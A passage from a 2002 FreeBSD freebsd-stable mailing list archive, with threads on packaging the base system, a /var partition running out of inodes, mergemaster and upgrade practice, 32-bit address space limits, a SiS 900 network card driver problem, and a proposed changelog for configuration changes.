by uid 100); 24 Apr 2002 05:17:37 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.16369.602750.415167@guru.mired.org> Date: Wed, 24 Apr 2002 00:17:37 -0500 To: The Anarcat Cc: freebsd-stable@freebsd.org Subject: Re: [resend] packaging base (was: /etc/defaults/rc.conf theory) In-Reply-To: <20020424050711.GC973@lenny.anarcat.dyndns.org> References: <20020424030937.GC323@lenny.anarcat.dyndns.org> <15558.12150.814150.317904@guru.mired.org> <20020424050711.GC973@lenny.anarcat.dyndns.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <20020424050711.GC973@lenny.anarcat.dyndns.org>, The Anarcat typed: > On Tue Apr 23, 2002 at 11:07:18PM -0500, Mike Meyer wrote: > > In <20020424030937.GC323@lenny.anarcat.dyndns.org>, The Anarcat typed: > > > The main issues I see about packaging the base system is [1] how plists > > > are to be handled and [2] how configurations files are to be handled. > > You missed the biggie: [3] how the base system install is handled. > The same way the rest of the system is. [3] = [1] + [2] No, it isn't. Ports don't have the requirement to fit on a single floppy. > Also, I don't think it would be very complex to cat many files into a > single one on the filesystem prior to installing a package. Very > simple, I think. That one's not the problem. The problem is catting together many *floppies* to get a package prior to actually installing it. That's not quite so simple. > But guess what: libh won't get through if it's not a drop-in > replacement for sysinstall. What makes you say that? > In other words, libh doesn't know about the ports collection or > /usr/src yet, and I don't think it's going to change soon. Yes, but it will change eventually. And yes, it's going to require rewriting the package format to deal with the issues needed for working on the base system. Hopefully, it will also be compatible with the openpackages project. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 22:17:52 2002 Delivered-To: freebsd-stable@freebsd.org Received: from midway.uchicago.edu (midway.uchicago.edu [128.135.12.12]) by hub.freebsd.org (Postfix) with ESMTP id 1544A37B405 for ; Tue, 23 Apr 2002 22:17:45 -0700 (PDT) Received: from there (adsl-64-108-207-111.dsl.chcgil.ameritech.net [64.108.207.111]) by midway.uchicago.edu (8.12.2/8.12.2) with SMTP id g3O5HiEo000597 for ; Wed, 24 Apr 2002 00:17:44 -0500 (CDT) Message-Id: <200204240517.g3O5HiEo000597@midway.uchicago.edu> Content-Type: text/plain; charset="iso-8859-1" From: David Syphers Reply-To: charon@seektruth.org To: freebsd-stable@FreeBSD.ORG Subject: running out of inodes Date: Wed, 24 Apr 2002 00:17:45 -0500 X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I just booted my system today, and got a series of complaints about no space left on the device of /var, and everything running out of inodes. The system is an April 22 -stable (cvsup'd about 21:00 UTC). I couldn't even start X until I killed sshd (starting X and killing sshd were correlated - I claim no causal link since I don't really understand inodes). df -i shows: Filesystem 1K-blocks Used Avail Capacity iused ifree %iused Mounted on/dev/ad0s2a 151166 77092 61982 55% 3228 15842 17% / /dev/ad0s2f 72631944 4168376 62653014 6% 221683 8902155 2% /usr /dev/ad0s2e 100750 41922 50768 45% 12793 5 100% /var procfs 4 4 0 100% 50 4034 1% /proc (I don't know what it was before killing sshd because I just learned the -i option a few minutes ago :) I don't have anything special in /var, just the default stuff. I suppose I should have made /var bigger originally (I'm still used to a 2GB disk), but 100MB seemed quite adequate for a few logs. I certainly don't see a gazillion files floating around. How can I see where all of my /var inodes are going? Thanks, -David -- Everyone who believes in telekinesis, raise my hand... Center for Cosmological Physics The University of Chicago To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 22:27:55 2002 Delivered-To: freebsd-stable@freebsd.org Received: from 12-234-22-238.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219]) by hub.freebsd.org (Postfix) with ESMTP id 4B43537B419 for ; Tue, 23 Apr 2002 22:27:49 -0700 (PDT) Received: from Master.gorean.org (master.gorean.org [10.0.0.2]) by 12-234-22-238.client.attbi.com (8.12.2/8.12.2) with ESMTP id g3O5RlHt079324; Tue, 23 Apr 2002 22:27:47 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from Master.gorean.org (zoot [127.0.0.1]) by Master.gorean.org (8.12.2/8.12.2) with ESMTP id g3O5RnLr066544; Tue, 23 Apr 2002 22:27:49 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from localhost (doug@localhost) by Master.gorean.org (8.12.2/8.12.2/Submit) with ESMTP id g3O5Rnqv066541; Tue, 23 Apr 2002 22:27:49 -0700 (PDT) X-Authentication-Warning: Master.gorean.org: doug owned process doing -bs Date: Tue, 23 Apr 2002 22:27:49 -0700 (PDT) From: Doug Barton X-X-Sender: doug@master.gorean.org To: "Philip J. Koenig" Cc: stable@FreeBSD.org Subject: mergemaster theory (was: Re: /etc/defaults/rc.conf theory) In-Reply-To: <20020423103747777.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> Message-ID: <20020423222117.U66402-100000@master.gorean.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002, Philip J. Koenig wrote: > > > > What I think would be a better way of approaching it is to > > > incorporate some method of informing users during the upgrade > > > process, probably part of mergemaster, of what has changed in > > > /etc/defaults. > > > > Assuming that you run mergemaster, you'll see the diff before > > being presented the options to install, delete, etc. > > > Yes, but the problem I usually have is twofold: I usually run > mergemaster in single-user mode, You don't have to do that. Nothing you install in /etc (except hosts.allow) affects a running system.... I usually mergemaster in X. :) > and as such if I run into some kind of difficulty (not sure whether to > install/merge/delete) and want to do something like take a detailed look > at or backup a file first, I can't switch to another console to look > at/change things. Well, the default option is to do nothing, which will leave the file for you to look at later. It may cost you more rebooting, but at least you can deal with it at your convenience. > Some files are also bigger than the scrollback buffer so I can't see > all the changes without "merging" them or dealing with them > separately. Ummm... how old of a version of mergemaster are you running? The diffs are sent to your favorite $PAGER ('more' by default), and you can view a file after the merge, which is also sent to $PAGER. I think you should read the man page again, and pay more attention to those little menus I spend so much time formatting. :) > (I have this personal problem with the 'merge' process > using sdiff.. every time I try to use it I have some kind of > keyboard/command/viewing problem and screw things up. Maybe I just > need more practice.) Well, you can create your own little tree with 'mergemaster -D/my/fake/root' and practice away. :) No worries. Good luck, Doug -- "We have known freedom's price. We have shown freedom's power. And in this great conflict, ... we will see freedom's victory." - George W. Bush, President of the United States State of the Union, January 28, 2002 Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 22:30:11 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.lambertfam.org (eqbsd.lambertfam.org [216.223.196.6]) by hub.freebsd.org (Postfix) with ESMTP id BE68A37B416 for ; Tue, 23 Apr 2002 22:29:56 -0700 (PDT) Received: from laptop.lambertfam.org (TC4-dial-208-197.oldslip.inch.com [216.223.197.208]) by mail.lambertfam.org (Postfix) with ESMTP id 54EA634E91 for ; Wed, 24 Apr 2002 01:29:27 -0400 (EDT) Received: by laptop.lambertfam.org (Postfix, from userid 1000) id EA5E528B0E; Wed, 24 Apr 2002 01:29:52 -0400 (EDT) Date: Wed, 24 Apr 2002 01:29:52 -0400 From: Scott Lambert To: freebsd-stable@FreeBSD.ORG Subject: Re: running out of inodes Message-ID: <20020424052952.GA2259@laptop.lambertfam.org> Mail-Followup-To: freebsd-stable@FreeBSD.ORG References: <200204240517.g3O5HiEo000597@midway.uchicago.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200204240517.g3O5HiEo000597@midway.uchicago.edu> User-Agent: Mutt/1.3.28i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 12:17:45AM -0500, David Syphers wrote: > I just booted my system today, and got a series of complaints about no space > left on the device of /var, and everything running out of inodes. The system > is an April 22 -stable (cvsup'd about 21:00 UTC). I couldn't even start X > until I killed sshd (starting X and killing sshd were correlated - I claim > no causal link since I don't really understand inodes). > > df -i shows: > > Filesystem 1K-blocks Used Avail Capacity iused ifree %iused Mounted > /dev/ad0s2e 100750 41922 50768 45% 12793 5 100% /var > > I don't have anything special in /var, just the default stuff. I suppose I I have some wild guesses for you. Running Samba? Check for leftover print spool files. Not running sendmail? or upgraded sendmail possibly incorrectly? Check /var/spool/mqueue and /var/spool/clientmqueue. Also, check /var/tmp for a lot of old temporary lock files and whatnot. -- Scott Lambert KC5MLE Unix SysAdmin lambert@lambertfam.org http://www.lambertfam.org/~lambert/resume.html 3 years Sr. SysAdmin experience with FreeBSD in small & medium size ISPs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 22:59:52 2002 Delivered-To: freebsd-stable@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id E494537B41B; Tue, 23 Apr 2002 22:59:46 -0700 (PDT) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Tue, 23 Apr 2002 22:59:47 -0700 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: stable@FreeBSD.ORG Date: Tue, 23 Apr 2002 22:59:46 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: mergemaster theory (was: Re: /etc/defaults/rc.conf theory) Reply-To: pjklist@ekahuna.com Cc: Doug Barton References: <20020423103747777.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> In-reply-to: <20020423222117.U66402-100000@master.gorean.org> X-mailer: Pegasus Mail for Win32 (v3.12c) Message-ID: <20020424055947185.AAA739@empty1.ekahuna.com@pc02.ekahuna.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 23 Apr 2002, at 22:27, Doug Barton boldly uttered: > On Tue, 23 Apr 2002, Philip J. Koenig wrote: > > > > > > > What I think would be a better way of approaching it is to > > > > incorporate some method of informing users during the upgrade > > > > process, probably part of mergemaster, of what has changed in > > > > /etc/defaults. > > > > > > Assuming that you run mergemaster, you'll see the diff before > > > being presented the options to install, delete, etc. > > > > > > Yes, but the problem I usually have is twofold: I usually run > > mergemaster in single-user mode, > > You don't have to do that. Nothing you install in /etc (except > hosts.allow) affects a running system.... I usually mergemaster in X. :) My usual sequence is: [multi-user] - cvsup - buildworld - buildkernel [restart into single-user, since shutting down to single-user can cause problems with ie kern securelevel] - mount filesystems, swap, run adjkerntz -i - installkernel - installworld - mergemaster - final cleanup/backup - reboot Reason being I've always read/been told that this is standard practice because changing system files while in multi-user mode can cause various problems. I always thought mergemaster had to come after the install step. (another thing I do is update /stand, but perhaps this is redundant these days. Regular build/installworld never used to update that.) > > Some files are also bigger than the scrollback buffer so I can't see > > all the changes without "merging" them or dealing with them > > separately. > > Ummm... how old of a version of mergemaster are you running? The > diffs are sent to your favorite $PAGER ('more' by default), and you can > view a file after the merge, which is also sent to $PAGER. I think you > should read the man page again, and pay more attention to those little > menus I spend so much time formatting. :) For some reason it doesn't seem to go to the pager. All of the PAGER variables etc are set at default settings. (someone privately emailed me suggesting setting PAGER to "less" since it doesn't default to exiting at the end of the file, but in retrospect I don't even think any pager is paging the output of long files in mergemaster) FWIW, my oldest FBSD boxes are running 4.3-STABLE at present. (BTW, when did you add the -C option? The 4.5-STABLE box cvsup'd around 4/10 doesn't seem to have that option. At least it's not in the manpage.) > > (I have this personal problem with the 'merge' process > > using sdiff.. every time I try to use it I have some kind of > > keyboard/command/viewing problem and screw things up. Maybe I just > > need more practice.) > > Well, you can create your own little tree with 'mergemaster > -D/my/fake/root' and practice away. :) No worries. Hm, thanks for the tip. So this sends all changes to the path specified with -D and doesn't bother /etc, right? BTW, while we're on the subject of mergemaster minutiae, can you confirm for me the meaning of the question at the end of the process: "Do you wish to delete what is left of /var/tmp/temproot?" Every time I see that, unless there is virtually no special cases to deal with, I say "no", because it's not clear to me whether the "files which will remain for your consideration" will be deleted or not! Perhaps a little different wording, ie "Do you wish to delete what is left of /var/tmp/temproot other than files to be manually merged?" or something similiar, would lessen the confusion. :-) Thx, Phil -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 23:20:17 2002 Delivered-To: freebsd-stable@freebsd.org Received: from perd1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id 2A1C737B423; Tue, 23 Apr 2002 23:19:45 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by perd1.estpak.ee (Postfix) with ESMTP id AF4D38808C; Wed, 24 Apr 2002 09:18:18 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3O6IIC9033315; Wed, 24 Apr 2002 09:18:18 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3O6GrYl033291; Wed, 24 Apr 2002 09:16:53 +0300 (EEST) Date: Wed, 24 Apr 2002 09:16:53 +0300 From: Vallo Kallaste To: "Marc G. Fournier" , Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020424061653.GA33245@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <20020423214011.B3593@HAL9000.wox.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423214011.B3593@HAL9000.wox.org> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:40:11PM -0700, David Schultz wrote: > > Userspace processes will allocate memory from UVA space and can > > grow over 1GB of size if needed by swapping. You can certainly > > have more than one over-1GB process going on at the same time, > > but swapping will constrain your performance. > > It isn't a performance constraint. 32-bit architectures have > 32-bit pointers, so in the absence of segmentation tricks, a > virtual address space can only contain 2^32 = 4G locations. If > the kernel gets 3 GB of that, the maximum amount of memory that > any individual user process can use is 1 GB. If you had, say, 4 > GB of physical memory, a single user process could not use it all. > Swap increases the total amount of memory that *all* processes can > allocate by pushing some of the pages out of RAM and onto the > disk, but it doesn't increase the total amount of memory that a > single process can address. Thank you, Terry and David, now I grasp how it should work (I hope). I really miss some education, but that's life. -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 23:47: 9 2002 Delivered-To: freebsd-stable@freebsd.org Received: from cruiser.planetarion.com (cruiser.planetarion.com [193.217.77.7]) by hub.freebsd.org (Postfix) with ESMTP id 5BD1637B400; Tue, 23 Apr 2002 23:47:00 -0700 (PDT) Received: from erlends by cruiser.planetarion.com with local (Exim 3.33 #2) id 170GYK-0002lG-00; Wed, 24 Apr 2002 08:46:56 +0200 To: freebsd-stable@freebsd.org Subject: Re: SiS 645 Chipset / SiS 900 NIC / FreeBSD 4.5 STABLE Cc: freebsd-hardware@freebsd.org Message-Id: From: Erlend Simonsen Date: Wed, 24 Apr 2002 08:46:56 +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 2002-04-23 at 21:31, Mike Meyer wrote: > In , Erlend Simonsen typed: > > I have a machine with an ASUS P4S333-M/SWA/LAN/REALTEK-UAY motherboard > > where I'm having some problems getting the onboard SiS 900 nic to work. > > It works fine under linux-2.4.19, but not on any of the *BSDs. =( > > > > GENERIC kernel & custom kernels, none work. > > > > dmesg : > > sis0: port 0xb000-0xb0ff mem > > 0xe5800000-0xe5800fff irq 10 at device 3.0 on pic 0 > > sis0: Ethernet address: 00:e0:18:68:40:7d > > sis0: MII without any PHY! > > device_probe_and_attach: sis0 attach returned 6 > > > > pciconf -l : > > none0@pci0:3:0: class=0x020000 card=0x807c1043 chip=0x09001039 rev=0x90 > > hdr=0x00 > > > > Are there any known patches that fixes this problem? > > It was fixed in 4.5-stable shortly after 4.5-RELEASE. If you're > running a system that hasn't been updated in three or so months, try > updating and see if that fixes the problem. Sorry, I should have been more clear. I run an up to date -stable, and as far as I can see, the only thing that has been fixed is getting the mac address from the card. Which isn't the problem I'm experiencing. I've been digging around a bit, and it seems that sis_miibus_readreg() from /usr/src/sys/pci/if_sis.c returns 0 for all 32 PHY probes. I don't mind digging around and debugging, and if I can provide any more information, feel free to let me know. Regards, Erlend Simonsen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 3:29:11 2002 Delivered-To: freebsd-stable@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id 1464637B405; Wed, 24 Apr 2002 03:29:04 -0700 (PDT) Received: from pool0066.cvx21-bradley.dialup.earthlink.net ([209.179.192.66] helo=mindspring.com) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 170K0S-0006Rd-00; Wed, 24 Apr 2002 03:28:12 -0700 Message-ID: <3CC688A0.316ED250@mindspring.com> Date: Wed, 24 Apr 2002 03:27:44 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Schultz Cc: kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> <20020423220408.C3593@HAL9000.wox.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David Schultz wrote: > Thus spake Terry Lambert : > > Writing a useful (non-"fluff") technical book, optimistically, > > takes 2080 hours ... or 40 hours per week for 52 weeks... a man > > year. > > > > By the time you are done, the book is a year out of date, and > > even if you worked really hard and kept it up to date (e.g. you > > had 4 authors and spent only 6 months of wall time on the book), > > the shelf life on the book is still pretty short. > > Although it would be unreasonable to comprehensively document the > kernel internals and expect the details to remain valid for a year, > there is a great deal of lasting information that could be conveyed. > For example, Kirk's 4.[34]BSD books cover obsolete systems, and yet > much of what they say applies equally well to recent versions of > FreeBSD. These are general OS architecture books by a noted authority on OS architecture. That's a barrier to entry for other authors, as the intrinsic value in the information is not constrained to the direct subject of the work. 8-). Kirk is supposedly working on a similar book for FreeBSD, release date indeterminate. In any case, this doesn't resolve the issue of "Where do I go to do XXX to version YYY, without having to learn everything there is to know about YYY?". > It's true that the specific question ``How do I change my KVA size?'' > might have different answers at different times, but I doubt that the > ideas behind an answer have all been invented in the last few months. > Even things like PAE, used by the Linux 2.4 kernel, remind me of how > DOS dealt with the 1 MB memory limit. The PAE is the thing that Peter was reportedly working on in order to break the 4G barrier on machines capable of accessing up to 16G of RAM using bank selection. I didn't mention it by name, since the general principle is also applicable to the Alpha, which has a current limit of 2G because of DMA barrier and other constraints. While it's true that the ideas behind the answer remain the same... the ideas behind the answer are already published in the books I've already referenced in the context of this thread. If people were content to discover implementation details based on a working knowledge of general principles, then this thread would never have occurred in the first place. It's my opinion that people are wanting to do more in depth things to the operating system, and that there is a latency barrier in the way of them doing this. My participation in this discussion, and in particular, with regard to the publication of thorough and useful documentation, has really been around this point. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 3:31:58 2002 Delivered-To: freebsd-stable@freebsd.org Received: from cadmium.frontier.net (cadmium.frontier.net [199.45.141.22]) by hub.freebsd.org (Postfix) with ESMTP id 35D2637B400 for ; Wed, 24 Apr 2002 03:31:52 -0700 (PDT) Received: from eggplant.frontier.net (delerium.static.frontier.net [199.45.201.33]) by cadmium.frontier.net (Postfix) with ESMTP id 7DB0E7A9A4 for ; Wed, 24 Apr 2002 04:30:10 -0600 (MDT) Date: Wed, 24 Apr 2002 04:30:08 -0600 (Mountain Daylight Time) From: Charlie Watts To: stable@freebsd.org Subject: 3.3-RELEASE -> 4-STABLE Message-ID: X-X-Sender: cewatts@mail.frontier.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a machine I want to upgrade from 3.3-RELEASE to 4-STABLE. UPDATING seems to indicate I can jump all the way to 4-STABLE, but I know folks have recommended a center step. If I'm hosting the compile on that box, what are the "stopover points" that should be hit on the way? Should I go to RELENG_3 and then jump to RELENG_4? Should I hit RELENG_4_0 on the way? Or can I jump straight from 3.3-RELEASE to 4-STABLE? How about if I have another -STABLE box that I can do the installworld from. Can I jump straight to -STABLE in that case? -- Charlie Watts cewatts@frontier.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 3:54: 4 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.webmonster.de (datasink.webmonster.de [194.162.162.209]) by hub.freebsd.org (Postfix) with SMTP id A631637B421 for ; Wed, 24 Apr 2002 03:53:56 -0700 (PDT) Received: (qmail 88838 invoked by uid 1000); 24 Apr 2002 10:54:00 -0000 Date: Wed, 24 Apr 2002 12:54:00 +0200 From: "Karsten W. Rohrbach" To: Doug Barton Cc: JJ Behrens , freebsd-stable@FreeBSD.org Subject: Re: *** HEAD'S UP *** Message-ID: <20020424125400.F87244@mail.webmonster.de> References: <20020422114407.B21612@alicia.nttmcl.com> <20020423215717.S66402-100000@master.gorean.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="xQmOcGOVkeO43v2v" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020423215717.S66402-100000@master.gorean.org>; from DougB@FreeBSD.org on Tue, Apr 23, 2002 at 09:58:34PM -0700 X-Arbitrary-Number-Of-The-Day: 42 X-URL: http://www.webmonster.de/ X-Disclaimer: My opinions do not necessarily represent those of my employer X-Work-URL: http://www.ngenn.net/ X-Work-Address: nGENn GmbH, Schloss Kransberg, D-61250 Usingen-Kransberg, Germany X-Work-Phone: +49-6081-682-304 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --xQmOcGOVkeO43v2v Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Doug Barton(DougB@FreeBSD.org)@2002.04.23 21:58:34 +0000: > On Mon, 22 Apr 2002, JJ Behrens wrote: >=20 > > I strongly disagree with your disagreement of his disagreement :)) Cit= ing > > /etc/defaults/rc.conf once more: > > > > # The ${rc_conf_files} files should only contain values which override > > # values set in this file. >=20 > The comment exists because some people with commit privileges to > this file have different ideas as to how it should be used. If you want to > blindly trust your system to changing winds of fortune, that's your right. > Personally, I don't recommend it. in _both_ of the scenarios (eg. copying /etc/defaults/rc.conf to /etc/rc.conf and editing configuration in place, or just "superseding" default settings the other way round), a sensible systems administrator does _in no way_ get around the task to diffing the new /etc/defaults/rc.conf against the old one and do customizations to /etc/rc.conf. How about a Changelog? NOTES (HEAD) and UPDATING in /usr/src are one way, but a semi-automatic way of making changes transparent to the administrator would be a good start, i think. [putting on asbestos suit] for one of my workstations at home i use debian woody, and they got this glorious idea of apt-changelog. installing this package gives you a diff between old changelogs (installed packages) and the new ones (updates). having this mechanism in place gives you a really good time when you upgrade a system from binaries, which - if apt-changelog is not installed - is pretty intransparent to the operator due to the amount of automation behind the scenes. they tackle a different problem with it, but i think it makes sense. [im pretty sweaty now, putting asbestos suit off again ;-)] so, how about the idea of having a Changelog for the userland (/usr/src/etc based or somewhere in the source hierarchy it would make sense), and one for the kernel (/usr/src/sys)? this would provide the following improvements to administrators and users: - major kernel issues (device numbering changes, fixes and changes in behaviour of major kernel subsystems) are documented centrally. i recognize that most folks out there do not have their provate mirror of the cvs to pull out the commit logs (even in case an admin _has_ knowledge and access to anoncvs, it is a pretty PITA to dig through the source tree and pull out cvs commit logs to find out what has changed) - changes to default configuration, mods to the /etc/rc* system - most important, a list of _resolved_ SAs that are in the current dist. in fact, i recognize this as a major point, judging from several threads on -hackers and -security of the last weeks. finding out what "patch level" you are on an arbitrary box would be "more /etc/Changelog" and there you go. mergemaster would display the diff between old and new version right when it starts, so the admin instantly gets an overview of what major things have changed of course, this implies these two or three files to be maintained by someone. the release engineer, who must have a certain overview and insight of the system as a whole before generating a release, would be the best to commit the Changelogs, IMHO. i see that warner maintains the UPDATING file, but he is (according to the docs) not directly involved in release generation. comments? regards, /k --=20 > Life is a sexually transmitted disease. KR433/KR11-RIPE -- WebMonster Community Founder -- nGENn GmbH Senior Techie http://www.webmonster.de/ -- ftp://ftp.webmonster.de/ -- http://www.ngenn.n= et/ GnuPG: 0xDEC948A6 D/E BF11 83E8 84A1 F996 68B4 A113 B393 6BF4 DEC9 48A6 REVOKED: 0x2964BF46 D/E 42F9 9FFF 50D4 2F38 DBEE DF22 3340 4F4E 2964 BF46 REVOKED: 0x4C44DA59 RSA F9 A0 DF 91 74 07 6A 1C 5F 0B E0 6B 4D CD 8C 44 My mail is GnuPG signed -- Unsigned ones are bogus -- http://www.gnupg.org/ Please do not remove my address from To: and Cc: fields in mailing lists. 1= 0x --xQmOcGOVkeO43v2v Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iD8DBQE8xo7Is5Nr9N7JSKYRAlJ5AJ9QQaDSH6/c/WW4dx/MiJDAz3ImdwCfbJwe 5Rn5c1FTs7W59lty8Bg4Z0M= =MQD7 -----END PGP SIGNATURE----- --xQmOcGOVkeO43v2v-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 5:19:17 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tomts9-srv.bellnexxia.net (tomts9.bellnexxia.net [209.226.175.53]) by hub.freebsd.org (Postfix) with ESMTP id 0E7CF37B405 for ; Wed, 24 Apr 2002 05:19:11 -0700 (PDT) Received: from shall.anarcat.dyndns.org ([65.94.187.200]) by tomts9-srv.bellnexxia.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424121755.DQBK28365.tomts9-srv.bellnexxia.net@shall.anarcat.dyndns.org>; Wed, 24 Apr 2002 08:17:55 -0400 Received: from lenny.anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by shall.anarcat.dyndns.org (Postfix) with SMTP id 08F7752; Wed, 24 Apr 2002 08:17:00 -0400 (EDT) Received: by lenny.anarcat.dyndns.org (sSMTP sendmail emulation); Wed, 24 Apr 2002 08:16:51 -0400 Date: Wed, 24 Apr 2002 08:16:51 -0400 From: The Anarcat To: Mike Meyer Cc: freebsd-stable@freebsd.org Subject: Re: [resend] packaging base (was: /etc/defaults/rc.conf theory) Message-ID: <20020424121651.GA317@lenny.anarcat.dyndns.org> Mail-Followup-To: Mike Meyer , freebsd-stable@freebsd.org References: <20020424030937.GC323@lenny.anarcat.dyndns.org> 